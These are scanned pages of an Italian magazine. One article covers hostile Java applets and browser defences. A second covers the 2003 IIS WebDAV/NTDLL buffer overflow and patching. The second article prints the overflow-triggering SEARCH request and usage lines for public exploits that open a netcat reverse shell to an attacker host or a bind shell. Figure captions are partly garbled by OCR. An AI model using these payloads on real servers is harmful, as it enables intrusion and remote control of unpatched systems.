una risposta, o meglio, per fornire alcuni punti
di riflessione sull'argomento, cerchiamo di
comprendere, almeno a grandi linee, alcune
specifiche di questo linguaggio, soprattutto in
relazione agli aspetti della sicurezza.
JAVA ED IL SUO
MODELLO DI SICUREZZA
Il linguaggio Java è stato congegnato in modo
da minimizzare la possibilità agli sviluppatori
di commettere errori di programmazione, che
potrebbero portare a problemi di sicurezza, co-
me ad esempio i buffer overflow, fornendo dei
meccanismi di sicurezza trasparenti, che non ri-
chiedono nessuna conoscenza specifica da par-
te dell'utente. Questo è possibile in quanto una
delle prerogative del modello di sicurezza di
Java è quella di proteggere l'utente finale da
applet potenzialmente ostili e/o provenienti da
sorgenti poco affidabili. Il modello della sicu-
rezza di Java ha la possibilità di creare una mol-
teplicità di tipologie di permessi, a seconda del-
le esigenze, controllando nei minimi dettagli
tutti gli aspetti coinvolti.
Sicurezza
Codice locale o remoto (firmato o no)
ì
*S / \
sandbox
\
Risorse disponibili (filen ecc.)
Fig. 1: Schema di architettura Java.
Java implementa inoltre la firma del codice
proveniente dall'esterno, fornendo la possibi-
lità all'utente di scegliere se eseguirlo o meno,
a seconda dell'affidabilità della firma.
L'ambiente di sviluppo Java, comprende tre
componenti.
• Un linguaggio di programmazione, che ha
la capacità di compilare il sorgente in un
formato intermedio e indipendente dall'ar-
chitettura e dalla piattaforma, chiamato by-
tecode;
• La Java Virtual Machine (JVM);
• Un ambiente di esecuzione nella JVM che
fornisce alcune classi base utili per costruire
applicazioni complete.
È poi presente un ambiente denominato sand-
box, che impedisce l'esecuzione di operazioni
privilegiate, senza l'esplicito consenso dell'u-
tente. Al suo interno avviene l'esecuzione dei
vari applets, una volta che essi siano stati scari-
cati da un server remoto, senza influire mini-
mamente sul comportamento dell'host stesso.
Una sandbox è composta dai seguenti compo-
nenti che lavorano contemporaneamente:
• Il Bytecode Verifier: assicura che solo legitti-
mi bytecode vengano eseguiti;
• Il Class Loader: rende dinamico Java imple-
Applicazioni
Java
y~& Sviluppato dalla Sun
^ Microsystem Java è
un linguaggio di pro-
grammazione ad oggetti.
Esso può essere utilizza-
to per creare due tipolo-
gie di programmi:
1. APPLICAZIONE: un
programma che "gira"
sul computer dell'utente
stesso sotto il suo siste-
ma operativo;
2. APPLET: un'applicazio-
ne concepita per essere
localizzata su Internet ed
eseguita dal browser
Web, che deve essere
compatibile con Java. In
questo caso il Web brow-
ser scarica i frammenti di
codice per poi eseguirli
localmente.
http: //www. itport al.it
g g
3 ►►► 39
Sicurezza
La sicurezza
in Java
r-S. '
L'ambiente
Sandbox
Una sandbox è com-
posta dai seguenti
componenti che lavora-
no contemporaneamen-
te:
• Il Bytecode Verifier:
assicura che solo legitti-
mi bytecode vengano
eseguiti;
• Il Class Loader: rende
dinamico Java imple-
mentando le classi;
• Il Security Manager:
controlla l'accesso alle
risorse del sistema.
meritando le classi;
• Il Security Manager: controlla l'accesso alle
risorse del sistema.
La Fig. 2 mostra come le parti che formano la
sandbox lavorino insieme per garantire l'esecu-
zione di codice affidabile. Il codice Java sorgen-
te è compilato in un bytecode che risiede su un
server e il codice HTML, all'interno di una pa-
gina Web, specifica quale applet deve essere
preso da quel Web server.
Bytecode sul
server web
Bytecode Class Security
Verifier 3 Loader Manager
2 4 5 ''6
V
Java Virtual Machine
Fig. 2: Struttura della sandbox.
La richiesta del browser, quando si seleziona il
corrispondente link, preleva quindi l'applet
sotto forma di bytecode dal server (1), lo verifi-
ca (2), lo istanzia in una classe o in un insieme
di classi (3). Solo a questo punto è eseguito. Nel
momento in cui l'applet dovesse invocare un
metodo potenzialmente pericoloso (4), il Secu-
rity Manager viene consultato (attraverso la Ja-
va Virtual Machine) prima che il metodo stesso
venga effettivamente eseguito (5), quindi ese-
gue i controlli a run-time sulla base dell'origine
e dei metodi della classe chiamante e, nel caso
ci sia pericolo, ha l'autorità di vietare l'opera-
zione (6).
Il Security Manager, quindi, salvaguarda la si-
curezza classificando le chiamate potenzial-
mente pericolose al sistema operativo (che gira
sotto la Virtual Machine). In questo modo, ven-
gono bloccate le risorse che altrimenti sarebbero
abusate dal codice mobile. Per quando riguarda
il bytecode, dato che "gira" all'interno della Ja-
va Virtual Machine, può essere eseguito su tut-
te le piattaforme in cui vi sia la JVM. Oggi tutti
i browser, quali ad esempio Internet Explorer,
Netscape, Opera o Mozilla hanno la propria
versione della JVM incapsulata al loro interno.
Se un utente accede ad una pagina HTML che
include il tag <APPLET>, il browser è in grado
di eseguire autonomamente l'applet Java trami-
te la sua JVM. Al Security Manager è stato af-
fiancato un altro strumento molto importante,
chiamato Access Controller (AC), il quale per-
mette di personalizzare gli accessi. Esso, infatti,
consente al codice di fare gradualmente delle
operazione al di fuori della sandbox (cosa che
nella precedente versione di Java era assoluta-
mente vietato), specificandone però gli adegua-
ti permessi. Pertanto, il bytecode può eseguire
delle operazioni potenzialmente pericolose:
quando ciò si verifica, l'Access Controller con-
sulta la politica (impostata in un file di configu-
razione) dei permessi adottata e usa il meccani-
smo di stack inspection per decidere se per-
mettere o respingere l'operazione. Nonostante
questo sistema intrinseco di Java, col passare
del tempo si sono riscontrate delle problemati-
che inerenti la sicurezza, spesso dovuti a bug
presenti nella JVM ma non solo. Tali debolezze
possono essere ovviamente sfruttate da applets
scritti ad hoc, che vengono chiamati applets
ostili. Sovente non fanno altro che dare effetti
indesiderati, come finestre che si aprono sullo
schermo con suoni e/o immagini diversi, ma
anche peggio come violare la privacy dell'uten-
te con un eventuale prelievo di informazioni
sensibili. Vediamo alcuni esempi particolar-
mente significativi di tali applets, dato che na-
vigando per la Internet se ne possono facilmen-
te trovare ed è quindi opportuno che chiunque
abbia qualche nozione sull'argomento.
DNS SPOOFING
Quando il browser di un utente richiede un ap-
plet, questo potrebbe creare una connessione
con un'altra macchina inaffidabile, eludendo le
protezioni di un possibile firewall. Per evitare
tale situazione, è stata definita una particolare
regola, la quale indica che un applet Java può
creare una connessione solo con il server da cui
ha effettivamente origine.
Per fare rispettare questa regola si procede co-
me segue:
1. Mediante il DNS viene tradotto il nome del
server Web in una lista di indirizzi;
2. Mediante il DNS viene tradotto il nome del-
la macchina a cui vuole connettersi l'applet
in una lista di indirizzi;
3. Si confrontano le due liste. Se ogni indirizzo
appare in entrambe le liste, allora la connes-
sione è consentita, altrimenti viene rifiutata.
Questo approccio a prima vista sembra molto
valido, ma nasconde delle insidie, in quanto un
attacco di spoofing si basa proprio sul fatto che
esso in realtà è troppo permissivo. Infatti, il
DNS permette ad un hostname di avere associa-
ti più indirizzi IP multipli. Quindi compromet-
tendo un server DNS, è possibile associare al-
l'host che esegue l'attacco (e che viene richia-
mato dall'applet) oltre al suo indirizzo, un altro
40*** M a g g
2 3
http: //www. itport al.it
TECNICA
che effettivamente appartiene all'host bersaglio.
A questo punto, poiché il Security Manager
permette una connessione verso qualsiasi indi-
rizzo associato con l'hostname di provenienza
(che richiama l'applet), l'applet ostile è in grado
di connettersi con la macchina obiettivo.
TROJAN HORSE
Un trojan horse è un programma che mentre
sembra eseguire una particolare funzione, in
realtà ne esegue anche un'altra potenzialmente
nociva in modo invisibile all'utente. Questo at-
tacco può riuscire ad oltrepassare le protezioni
di Java poiché un programma normalmente ere-
dita i suoi diritti di accesso dall'utente che lo ha
eseguito in base a quanto stabilito nel Security
Manager.
Alcuni esempi di trojan horse sono:
• Un applet che visualizza un'animazione al-
l'interno del browser, mentre in maniera oc-
cultata cerca dei file all'interno dell'hard di-
sk, per poi spedirli ad un particolare indi-
rizzo e-mail all'insaputa dell'ignaro utente.
• Un applet che esegue un gioco con l'utente e
che nascostamente apra una sessione xterm
controllata in remoto dall'esterno (in questo
modo è possibile eseguire comandi sulla
macchina dell'utente che subisce l'attacco,
anche con fini molto pericolosi e distruttivi).
• Un applet che crea una finestra nascosta -
magari molto piccola, trasparente o altro- ri-
manendo invisibile all'utente mentre ne leg-
ge i tasti premuti dall'utente, in modo da
carpire informazioni riservate quali codici
di accesso a servizi o password di vario ge-
nere.
TYPE CONFUSION
Qualche anno addietro, fu scoperto un difetto
all'interno di un componente fondamentale
della Java Virtual Machine di Netscape: in alcu-
ni casi la JVM non riusciva a controllare tutto il
codice che veniva caricato al suo interno, per-
mettendo ad un utente malintenzionato di vio-
lare le politiche di protezione dei tipi di Java.
Un attacco di questo tipo, crea due puntatori al-
lo stesso oggetto, etichettandoli però con tipi
incompatibili.
Come si vede nella Fig. 3, entrambe le classi A e
B hanno un riferimento alla stessa classe C, che
però è considerata in maniera diversa dalle due
classi. Se il codice in A alloca un oggetto di tipo
C e successivamente lo passa a B, allora il Byte-
code Verifier suppone che sia tutto regolare e
CI
X
B X X B
C |< ► C
ci
1
Fig. 3: Esempio di Type Confusion Attack.
permette l'operazione. Quando B accede all'og-
getto, lo fa in base alla sua definizione di C e si
crea in questo modo una confusione dei tipi.
DENIAL OF SERVICE
Questi applets hanno come obiettivo principale
quello di rendere inutilizzabile la macchina del-
l'utente. Un sistema potrebbe essere quello di
utilizzare tutte le risorse della CPU e tutta la
memoria disponibile. Sicuramente gli applets
più conosciuti e più diffusi che eseguono que-
sto tipo di attacco sono quelli che hanno la pos-
sibilità di aprire un numero elevato di finestre
molto grandi, che riempiono lo stack degli
eventi del Windows manager, in tal modo ven-
gono disabilitati definitivamente sia il mouse
che la tastiera, rendendo praticamente inutiliz-
zabile il sistema stesso, rimanendo come unico
rimedio il suo riavvio del sistema stesso. Anco-
ra, si potrebbe avere un applet che contiene al
suo interno un ciclo di messaggi alert infinito.
Quando tale applet viene scaricato, il sistema
inizia a visualizzare i messaggi uno dopo l'al-
tro, esaurendo in un loop la memoria disponi-
bile e rendendone inutilizzabile il sistema.
Un altro metodo, infine, può essere quello di far
andare in crash qualche applicazione importan-
te tipo il browser: un esempio lo possiamo ve-
dere collegandoci al link http://wwiv.cs.nps.navy
.mil/research/languages/DynApplet.html, ma at-
tenzione ad eventuali segnalazioni da parte di
un eventuale antivirus montato sul proprio pc.
Oggi, infatti, per una maggior protezione alcu-
ni antivirus segnalano anche la presenza di ap-
plet potenzialmente ostili mentre si naviga, ap-
plet che però non sono affatto virus ma un'altra
cosa!
SNOOPING WINDOWS
Questo applet è in grado di monitorare in mo-
Sicurezza
La sicurezza
in Java
Esempi di
Trojan Horse
,,s • Un applet che vi-
■'-J sualizza un'anima-
zione all'interno del
browser, mentre in ma-
niera occultata cerca dei
file all'interno dell'hard
disk, per poi spedirli ad
un particolare indirizzo
e-mail all'insaputa dell'i-
gnaro utente.
• Un applet che esegue
un gioco con l'utente e
che nascostamente apra
una sessione xterm con-
trollata in remoto dall'e-
sterno (in questo modo
è possibile eseguire co-
mandi sulla macchina
dell'utente che subisce
l'attacco, anche con fini
molto pericolosi e di-
struttivi).
• Un applet che crea una
finestra nascosta -maga-
ri molto piccola, traspa-
rente o altro- rimanendo
invisibile all'utente men-
tre ne legge i tasti pre-
muti dall'utente, in mo-
do da carpire informa-
zioni riservate quali co-
dici di accesso a servizi o
password di vario gene-
re.
http: //www. itport al.it
Maggio
2 3 ►►► 41
SBS^ pjaaaygg^
Sicurezza
La sicurezza
Sul Web W
Maggiori informazioni re-
lative agli applet Java e
ai sistemi di protezione
dello stesso linguaggio,
sono disponibili ai se-
guenti indirizzi Internet:
http ://iava, sun.com
http: //www, bell-labs.com
Le patch di aggiorna-
mento dei vari browser
si possono trovare, ov-
viamente, sui siti dei ri-
spettivi produttori.
do remoto le attività Web di un utente. L'attac-
co si verifica nel momento in cui l'utente carica
all'interno di una sessione di lavoro una pagi-
na HTML apparentemente sicura, mentre in
realtà essa contiene un applet che mediante la
funzione zvindows.openO, apre un ulteriore do-
cumento HTML, contenente uno script ostile,
in un'altra finestra. Mediante questo script, è
possibile che venga preso il controllo del siste-
ma dall'esterno, e che tutte le attività dell'uten-
te siano monitorate violando le norme di pri-
vacy, portando alla:
• Osservazione degli indirizzi URL visitati;
• Osservazione dei dati immessi nelle FORM
HTML;
• Osservazione del contenuto dei cookies.
Naturalmente, a svantaggio del successo del-
l'attacco, vi è la difficoltà di nascondere ad un
utente una finestra; tuttavia poiché molti siti
utilizzano finestre multiple a cascata, quella
contenente lo script ostile potrebbe non destare
sospetto e non essere quindi riconosciuta come
potenzialmente pericolosa.
PROTEGGERSI DAGLI
ATTACCHI: DISABILITARE
JAVA NEL BROWSER
Ovviamente, la contromisura più sicura ai pos-
sibili attacchi portati mediante applet Java osti-
li, è la completa disabilitazione di Java. Questa
è una soluzione molto drastica, in quanto, in tal
modo, viene preclusa la possibilità di visualiz-
zare siti che contengano al loro interno applet
Java. Ad esempio, in Internet Explorer è possi-
bile fare questo utilizzando le aree di protezio-
ne messe a disposizione da Windows, troppo
spesso forse dimenticate ed inutilizzate. Se-
guendo da Internet Explorer il percorso di me-
nu "Proprietà - Protezione", si seleziona ini-
zialmente l'area alla quale impostare la prote-
zione - esistono infatti quattro aree: Internet,
Intranet Locale, Siti Attendibili e Siti con restri-
zioni- e successivamente si imposta il livello di
protezione desiderato (Alto, Medio, Medio-
Basso o Basso) selezionando l'opzione "Perso-
nalizza livello". E consigliabile impostare la
protezione "Alta" all'area "Internet", in quanto
questa contiene tutti i siti che non appartengo-
no alle altre aree, e quindi anche quelli più pe-
ricolosi.
La Fig. 4 mostra come disabilitare Java e l'ese-
cuzione di applet una volta impostata la prote-
zione al valore "Alta". Per evitare una "auto-
censura" che precluda la visione di ogni sito
contenente del codice Java, si possono inserire
i siti che usano gli applet e che sono ritenuti in-
nocui all'interno dell'area "Siti Attendibili",
nelle protezioni di Internet Explorer, e associa-
re a tale area un livello di protezione medio,
che consenta anche l'esecuzione degli applet.
A causa dei problemi che si possono riscontra-
re in questo caso, la scelta dei siti attendibili
deve essere molto accurata.
Impostazioni protezione
Impostazioni:
M
Esecuzione script delle
© Attiva
O Chiedi conferma
O Disattiva
applet lava
3
Microsoft VM
a
Autorizzazioni Java
O Disattiva Java
O Personalizzate
© Protezione alta
O Protezione bassa
O Protezione media
*]
Varie
w
Accesso a origini dati attraverso domini
J*\ AH-i. i-,
<
i •«
-Impostazioni personalizzate -
Reimposta a: Media
▼ | Reimposta
OK
]
Annulla
Fig. 4: Disabilitazione di Java in Internet Explorer.
Altra soluzione, meno drastica, è quella di
mantenere aggiornati con le patch più recenti i
relativi browser, in modo da correggere repen-
tinamente i vari problemi che costantemente
vengono scoperti ed identificati nella JVM in
relazione alle questioni di sicurezza.
CONCLUSIONI
Senza drammatizzare, occorre tenere ben in
mente che esistono problemi di sicurezza noti,
più o meno gravi, mentre probabilmente altri
nasceranno in futuro. Una "cultura della sicu-
rezza" è quindi necessaria. Se da un lato è fuo-
ri luogo risolvere il problema eliminando que-
sti strumenti, è altrettanto pericoloso sottova-
lutare i possibili rischi, pensando di esserne
immuni.
Seguendo l'evoluzione di questi pacchetti
software, aggiornando i propri browser, man-
tenendosi informati sugli ultimi exploit, si può
continuare ad utilizzare correttamente Java e
sfruttarne appieno le notevoli potenzialità, mi-
nimizzando il pericolo di intrusioni e violazio-
ni della propria privacy, nonché della sicurezza
dei propri dati personali e non.
Andrea Faenza
42*** m
g g
2 3
http: //www. itport al.it
G I
E x p
della
p r o g r a
m a z i o n e
Windows 2000
Messo in crisi da uno 0-day exploit
La scoperta di nuovi exploit per i sistemi operativi sembra essere un'attività
svolta solo da ricercatori professionisti, che costantemente pubblicano le loro
scoperte sulle mailing list come Bugtraq. Ma cosa accade invece se i primi
a scoprire un nuovo exploit sono invece gli hackers?
File sul CD
\soft\codice\WebDAV_exploit.zip
File sul Web
www.itportal.it/iop69
/ WebDAV_exploit.zip
Fig. 1: WebDAV è stato usato dagli
hackers come veicolo per lanciare
un attacco rivolto alla libreria
NTDLL.DLL, ma non è escluso che
presto vengano alla luce altri
software sensibili a questo
exploit.
0,
Buffer Overflow
Per comprendere i buffer
overflow e capire più da vici-
no come sia possibile eseguire
codice nello stack, un ottimo rife-
rimento è quest'articolo postato
su windowsecurity.com
http://www,windowsecuritv,com/
artides/Analvsis of Buffer Overflow
Attacks.html
WebDAV
SL
Web-based Distributed Au-
thoring and Versioning.
Estensione per il protocollo HTTP
creata da Microsoft per ag-
giungere funzionalità di gestione
file (upload, download, check-
out) agli utenti remoti. US 5.0 su
Windows 2000 monta per default
questo componente.
Ciò che è accaduto il 10 Marzo ha
dato uno scossa a tutto il mondo
dell' information security e deve
servire da lezione per tutti i contestatori
della politica del "full-disclosure" nel-
l'ambito delle mailing list di sicurezza.
Stati Uniti, un giorno come tanti: l'ammi-
nistratore di sistema di una base militare
americana non definita (dominio .mil per
intenderci) nota che uno dei suoi server
ha iniziato a comportarsi in maniera stra-
na da alcune ore: ha infatti iniziato a map-
pare le risorse della rete interna, cercando
chissà cosa. Si tratta di un Web Server, più
precisamente di US, installato su una del-
le tante versioni di Windows 2000. Col
passare delle ore le stranezze del server
diventano pian piano visibili e l'ammini-
stratore capisce ad un certo punto che c'è
un attacco in corso contro US e decide
prontamente di resettare la macchina e re-
installare da zero Windows 2000, con tutti
i service pack e le patch di sicurezza del
momento.
L'episodio sembra finire qui... quando ad
un tratto il server, re-installato da poco,
inizia nuovamente a comportarsi in modo
anomalo, manifestando per la seconda
volta i segni di una intrusione dall'ester-
no.
L'amministratore capisce che sta lottando
contro qualcosa più grande di lui, decide
così di contattare gli esperti di Microsoft
che nel giro di qualche giorno, interve-
nendo sul posto, capiscono di trovarsi di
fronte ad un nuovo, grande bug di Win-
dows 2000 e US.
ALLARME
IN CASA MICROSOFT
Il mondo non vedeva l'annuncio di un
exploit "Oday" da circa tre anni. Di cosa di
tratta? Tutti gli esperti di sicurezza e gli
hackers in genere tengono d'occhio
costantemente mailing list di sicurezza
come Bugtraq, VulnWatch, FullDisclosure
aspettando la pubblicazione di nuovi
bug.
Quando viene pubblicata la scoperta di
un certo bug, si tratta sempre di un bug
vecchio, scoperto magari un mese prima
dai ricercatori, che per prima cosa avvisa-
no i produttori del software interessato,
cercando così di aiutarli nel realizzare
una patch in tempo utile. Il lasso di tempo
in cui un bug viene tenuto segreto serve
quindi a rendere disponibile una patch al
mondo e a diminuire la percentuale di
computer a rischio, perché in questo mo-
do, prima che il bug diventi un exploit
alla portata di tutti, molti server saranno
aggiornati (anche se i worm CodeRed,
Nimda e SQLSlapper testimoniano che
non sempre è così....).
A volte però può capitare che un team di
hacker scopra un bug nuovo e totalmente
sconosciuto e decida di non rivelarne l'e-
sistenza al mondo: gli hackers in questo
caso hanno tutto il tempo di scrivere e
testare i loro codici di exploit e inoltre
possono iniziare a compromettere server
importanti (come nel caso del server mili-
tare americano) sicuri di entrare senza
alcun problema.
Questo tipo di exploit sono gli "0-day":
non si trovano cercando su Google, non si
trovano su Bugtraq, ma sono scambiati e
conosciuti solo da ristrette comunità di
hackers, nell'underground delle chat e di
alcune mailing list molto segrete. Una set-
timana dopo la scoperta dello 0-day di
Windows2000, gli hackers, gli studiosi e i
tecnici di Microsoft erano concentrati su
44*->-* m
9 9
http ://www.itport al.it
G I
I I
US e Windows 2000 con scopi diversi ma
con l'unico intento di realizzare, nel mi-
nor tempo possibile, un exploit simile a
quello usato per bucare il server militare
americano.
I DETTAGLI
DEL PROBLEMA
II problema scoperto questa volta dagli
hackers non è una semplice falla di US,
ma si tratta di una "core vulnerability",
cioè un bug che affligge il sistema opera-
tivo a un livello molto basso (interessan-
do la libreria NTDLL. DLL). Va precisato
che Internet Information Server (e il suo
componente WebDAV) sono in questo
caso solo un veicolo per arrivare alla
NTDLL e causare un buffer overflow.
In sostanza quasi tutti gli US 5.0 montano
per default un componente chiamato
WebDAV, creato da Microsoft per esten-
dere il protocollo HTTP aggiungendo
funzionalità di gestione file (upload,
download, check-out) agli utenti remoti.
Le estensioni WebDAV di un web server
si possono facilmente scoprire, collegan-
dosi via telnet sulla porta 80 e digitando
la stringa:
OPTIONS * HTTP/1. 1
seguita da due volte <INVIO>.
La risposta di WebDAV, quando è instal-
lato, non si fa attendere e in genere è que-
sta:
HTTP/1.1 200 OK
Server: Microsoft-HS/5.1
Date: Wed, 26 Mar 2003 09:44:23 GMT
Content-Length:
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE,
PUT, POST, COPY, MOVE, MKCOL, PROPFIND,
PROPPATCH, LOCK, UNLOCK, SEARCH
Risposte del tipo "404" o "500" nell'inte-
stazione HTTP indicano invece l'assenza
di WebDAV. Come si vede dall'esempio le
estensioni pubbliche aggiunte da Web-
DAV sono davvero tante e una di queste
in particolare (PROPFIND) è sensibile al
buffer overflow, anche se non è escluso
che molti altri verbi HTTP siano comun-
que strumenti validi per lanciare l'exploit
(tra cui anche la richiesta SEARCH /).
IL BUG VISTO
DA VICINO
Realizzare l' overflow è molto semplice,
basta solo inviare ad un server US
/WebDAV una richiesta di questa forma:
SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA ... HTTP/ 1 . 1
Host: vulntest
Content-Type: text/xml
Content-Length: 137
<?xml version="1.0"?>
<g:searchrequest xmlns:g = "DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>
dove le "A" che seguono il verbo SEAR-
CH devono essere almeno 65.535. In que-
sto modo si causa un buffer overflow
nella libreria di sistema NTDLL.DLL,
dovuto alla conversione in formato
Unicode della richiesta HTTP operata da
US, che raddoppia di fatto la dimensione
della stringa (ad esempio il carattere
"A=0x41" diventa "0x41 0x00" in forma-
to Unicode). Questo overflow finisce
quindi col scrivere dati nello stack del
processo, modificando il valore dell'indi-
rizzo di ritorno (RET) e alterando di con-
seguenza il valore del registro EIP, cosa
che consente ad un hacker di modificare
il corso e l'esecuzione di un programma a
suo piacimento.
L'unico fattore mitigante in tutta questa
brutta storia è che la conversione Uni-
code del buffer rende abbastanza compli-
cato il calcolo preciso dell'indirizzo di
ritorno nell'exploit (ad esempio Oxabcd
diventa OxOOabOOcd), cosa che obbliga gli
assalitori ad un numero imprecisato di
tentativi prima di "beccare" la RET giusta
capace di eseguire uno shellcode iniettato
tramite US.
Dal punto di vista del server l'exploit non
viene avvertito in maniera visibile, per-
ché Windows 2000 non mostra alcuna
finestra di errore o schermata blu, tutta-
via - a basso livello - accade un finimon-
do, perché US va in crash per alcuni
secondi (a volte anche in modo definiti-
vo!), rendendo di fatto inaccessibile i siti
web ospitati.
Da Windows 2000 è possibile accorgersi
degli eventuali problemi causati dall' o-
verflow cercando nei log di US e dal regi-
stro degli eventi di sistema.
\s
Qe™,.
■ ■■■ ■':■,:■■.■■ ■■-:,..
19.26.20
■:■-* /:■'.■?. :
Errori;
&o;/;oo3
19. 2i-,Z0
"•=:■ ■■.•;'" v;-:;ì vi ;■"*;■= -.w
Errore
25/0 3/200?
19. 9ì,Z0
Service Control Manager
Errore
.?::..'■.:• : . :-.->
19,26:20
Service Control M ,:.!>:' ;:;■=<
...' ir:' .;;;,.■::-■,
.r.'-.v 1 . :■-.-■<
19,26.20
II5CTLS
■. .■■' ;:-: ; :,™.à.-ki";i
■!''■ ■' " ■■■
19.26.13
II5CTLS
Qe™,.
,'C'.->v:v:/i
19.26.12
Service Control Manager
. Lrrore
X-miiXi 'i
19,26,12
Service Control Manager
Errore
T',]-.yZ:- 3
15,26,12
Service Control Manager
Errore
^.r..-,:::.-%
19,26,12
Service Control Manager
. ■■■ !flfOJ'l'f:.- 2 ::|il ;■
;■-:.■.■:/.;■:■.:■,■,
19,26,12
II5CTLS
.,,.■■ ,!-,-■?■'-:-:;•■■■,'
:■■■■:.. M\. :■:■..:
19.26.05
IISCTLS
Errori?
;;'■;,;:.,< ;:;:>;,.;
19.26.01
Servire Control Manager
Qe™,.
;;.,■: i:
19.26.04
Service Control Manager
Errore
;;■ ':■:■/! ■:■::.;
19,26,04
Service Control Manager
©Errore
25/03/2003
19,26,04
Service Control Manager
Fig. 2: I problemi causati dal buf-
fer overflow di NTDLL sono elen-
cati nel registro degli eventi di
Windows 2000; l'attacco non sem-
bra mostrare altri errori visibili.
Altri veicoli
di attacco?
a:
Dall'analisi del bug di
NTDLL è emerso che Web-
DAV in questo caso ha solo con-
cesso la via per sfruttare la vul-
nerabilità, ma non risente di per
sé di alcun problema. David
Litchfield david@nqssoftware.com
ha eseguito alcuni studi che po-
trebbero portare alla luce nuovi
veicoli di attacco diversi da
WebDAV. L'analisi si trova su
http : //www, nqssoftwa re . com/pa pers
/ms03-007-ntdll.pdf
IP or Hostnàme : wwwrriicrosolt.de
Che e kin g
The remole server is VULHERABLE
■;:..■■.
■ ■ . ■ ■ . ■■ ■ ■ :
hit n: /Vww-.'. pi ss curii g. coiti
Fig. 3: I tecnici della PT Security
sono i primi ad aver messo a
disposizione in rete un tool
(PTWebDAV) per testare la
vulnerabilità dei server.
25/03/2003 Origine: Sei
19.26 Categoria: Ne;
-:o::o-j-r MATUSA
ja |
■■:.■■.■ ■■ ■ . . . . ■ ■ ■ i
Tip-ir ■■•■*.;? ,5. ìir.i= : -jJ?.- [.fi .v:-g:;~i.i: k--x
..■■.. . . ■. ■. : . ■ .■...■ .■■.■.■.. ■..■■■ ■■
Peti: ff Byte C Words
~D
d
:_
j.
Fig. 4: US reagisce all'attacco
andando in crash per una decina
di secondi e riavviandosi; in alcuni
casi si è notato che il servizio
potrebbe non ripartire.
http ://www.itport al.it
g g
003 ►►► 45
G I
I I
Patch
0,
La soluzione al problema
di NTDLL fornita da
Microsoft si può scaricare da
http: //www, microsoft.com/technet/
treeview/default.asp?url=/technet/
security/bulletin/ms03-007,asp
tuttavia molti amministratori di
sistema hanno notato alcune
incompatibilità della patch sui
Windows 2000 precedenti al
Service Pack 3. Si consiglia
quindi di portare i server al
livello SP3 prima di installare la
patch.
Fig. 5: L'exploit WB.C in azione...
l'aggressione non riesce sempre al
100% e bisogna avere un pò di
fortuna e indovinare il padding
giusto (valore che dipende dalle
diverse versioni di Windows
2000).
Fig. 6: Il bollettino di Microsoft
catalogato MS03-007 mette a
disposizione una patch per il
problema che tuttavia è instabile
sui Windows 2000 precendenti al
Service Pack 3.
Sul Web
Breve storia dell'exploit e della
sua scoperta
http://lists.insecure.org/lists/isn
/2003/Mar/0098.html
Advisory della vulnerabilità e
della scoperta del bug di US
/WebDAV
http://www.trusecure.com/corporate
/press/2003/iisexploit031803.shtml
Analisi dei buffer overflow e del
problema di WebDAV
http://www.entercept.com/events
/webdav/
GLI EXPLOIT E I TOOLS
DISPONIBILI
In rete sono stati rilasciati diversi tool ed
exploit utili sia per testare la vulnerabi-
lità, sia per tentare di sfruttare appieno
l'exploit: quest'ultimo tipo di codice tenta
addirittura l'apertura una shell (cmd.exe
/e) gestibile remotamente da un hacker.
Scopriamo assieme alcuni di questi codi-
PTWebDAV
http://iuiuiv.ptsecurity.com/tools/PTwebdav.zip
Autore: Positive Technology
Trattasi di un tool per Windows, in for-
mato eseguibile, capace di verificare la
presenza di WebDAV e della vulnerabilità
su un server remoto di cui si conosce l'in-
dirizzo IP. L'uso è immediato e sfrutta la
richiesta del tipo "SEARCH /AAAA..."
che in alcuni casi potrebbe crashare il web
server.
WDAV.PL
Autore: Elia Florio
Script in linguaggio PERL (eseguibile sia
sotto Linux, sia sotto Windows) realizzato
da me personalmente. L'uso è semplice,
basta lanciarlo usando la sintassi "peri
wdav.pl -h www.targetserver.com" per testa-
re la presenza di US, la presenza di
WebDAV e l'overflow. L'output mostra
passo dopo passo cosa avviene sul server
remoto durante il test.
WB.C
http://www.darksite.ch/edsa/coromputer
/temp/wb.c
Autore: Kralor
Il primo exploit "di pubblico dominio"
apparso sulla rete e su Bugtraq. E' un pro-
gramma C per Windows, compilabile con
Visual Studio; tenta l'exploit della vulne-
rabilità aprendo una reverse shell su una
porta a scelta, l'uso pratico necessita
quindi di NETCAT (http://www.atstake.com
/research/tools/ ncllnt.zip). L'hacker dap-
prima apre una porta sul proprio host
(supponiamo con indirizzo 1.2.3.4) usan-
do "ne -l -vv -p 666" , quindi prova ad
eseguire l'exploit usando la sintassi "wb
www.targetserver.com 1.2.3.4 666 0".
L'ultimo valore ("0") passato all'exploit
rappresenta il "padding", ossia il fattore
di indeterminazione nella riuscita dell'ex-
ploit di cui si parlava prima. Servono
molti tentativi prima di trovare il padding
giusto; l'autore consiglia di provare i
valori 0-20 e 193-194. Tra un tentativo e
l'altro occorre aspettare qualche secondo
prima che US sia di nuovo pronto ad
accettare le richieste.
RSJIS.C
http:/ /www. rs-labs .com/exploitsn tools/rs_iis .e
Autore: Roman Medina
Exploit da compilare con GCC sotto qual-
siasi versione di Linux. E simile al prece-
dente, ma utilizza uno shellcode diverso e
non necessita dell'ausilio di NETCAT.
L'hacker può lanciarlo semplicemente
usando "./rs_iis www.targetserver.com 80
666 0xKK04"; l'attacco mira ad aprire una
shell sulla porta 666 dove l'hacker può
telnettarsi per eseguire i suoi comandi sul
server.
Anche in questo caso esiste il solito fatto-
re casuale che costringe un hacker a
numerosi tentativi variando i valori "KK"
tra 00-FF.
POSSIBILI SOLUZIONI
Parlare di una soluzione al problema è un
arduo compito. La patch ufficiale rilascia-
ta in fretta e furia da Microsoft è infatti
ancora instabile e sulle versioni più anti-
quate di Windows 2000 (precedenti al
Service Pack 3) causa solo problemi
(schermate blu ed errori di sistema). Rac-
comando quindi l'installazione della
patch solo sui sistemi Windows 2000-SP3
(il Service Pack 3 in italiano può essere
prelevato da http:/ /download .microsoft .com
/download/zvin2000platform/SP/SP3/NT5/IT
/ W2Ksp3.exe).
Windows XP sembra immune per il mo-
mento al problema, perché monta US 5.1 e
WebDAV con una versione diversa (e mi-
gliore) della NTDLL .DLL.
Chiudere WebDAV (se questo non è uti-
lizzato) può essere un'altra strada da
seguire, ma si tratta sempre di un rimedio
temporaneo, perché i ricercatori, investi-
